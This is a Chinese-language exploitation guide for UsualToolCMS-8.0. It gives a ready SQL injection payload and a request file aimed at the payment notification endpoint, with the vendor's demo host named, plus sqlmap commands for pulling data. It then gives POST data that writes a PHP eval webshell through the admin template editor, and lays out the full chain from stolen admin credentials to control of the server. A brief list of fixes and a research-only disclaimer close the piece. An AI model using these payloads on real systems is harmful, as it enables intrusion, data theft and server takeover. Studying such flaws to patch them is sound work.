UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell
字数 1136 2025-08-26 22:11:51
UsualToolCMS-8.0 SQL注入漏洞分析与利用指南
漏洞概述
本文档详细分析UsualToolCMS-8.0版本中存在的两个高危漏洞:
- 前台无限制SQL注入漏洞
- 后台getshell漏洞
这两个漏洞组合利用可导致系统完全沦陷,危害极大。
第一部分:前台无限制SQL注入
漏洞位置
payment/wechat/notify.php文件第7-28行
漏洞分析
-
漏洞触发流程:
- 第7行:
$xml = file_get_contents("php://input");读取POST原始数据 - 第10行:
$result = WxPayResults::Init($xml);解析XML数据 - 第20行:
$out_trade_no = $result["out_trade_no"];获取交易单号 - 第28行:SQL查询直接拼接
$out_trade_no变量:$query="SELECT * FROM cms_order WHERE ordernum='$out_trade_no' and state='0'";
- 第7行:
-
漏洞成因:
- 未对XML输入进行有效过滤
- 直接拼接用户输入到SQL语句
- WxPayResults::Init方法未对关键字段进行安全处理
漏洞验证
- 测试Payload:
<aa><out_trade_no>-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 #</out_trade_no></aa>
- 测试方法:
- 发送POST请求到
/payment/wechat/notify.php - Content-Type设置为
application/x-www-form-urlencoded - 请求体为上述XML格式
- 发送POST请求到
SQLMap利用
- 准备请求文件(2.txt):
POST /demo/payment/wechat/notify.php HTTP/1.1
Host: cms.usualtool.com
[...其他头部...]
<aa><out_trade_no>*</out_trade_no></aa>
- SQLMap命令:
sqlmap.py -r 2.txt --dbms=mysql --technique=T
sqlmap.py -r 2.txt --dbms=mysql --technique=T --current-user
注意:如果直接使用星号标记位置无法成功,可能需要先手动确认注入点有效。
第二部分:后台getshell漏洞
漏洞位置
cmsadmin/a_templetex.php文件
漏洞利用
-
直接写入Webshell:
- 访问URL:
/cmsadmin/a_templetex.php?x=m - POST数据:
filename=123.php&content=<?php eval($_POST[1]);?> - Webshell将写入网站根目录
- 访问URL:
-
任意文件读取:
- 该文件还包含任意文件读取功能(具体利用方式未详细说明)
漏洞组合利用流程
- 通过前台SQL注入获取管理员凭证
- 登录后台访问
a_templetex.php - 写入Webshell获取服务器控制权
防御建议
- 对所有用户输入进行严格过滤和转义
- 使用参数化查询或预处理语句
- 限制后台文件操作权限
- 对敏感文件进行访问控制
- 及时更新到最新版本
总结
该CMS存在严重的安全隐患,攻击者可利用这两个漏洞从信息泄露到完全控制服务器。建议用户立即采取防护措施或更换更安全的CMS系统。
注:本文仅用于安全研究目的,请勿用于非法用途。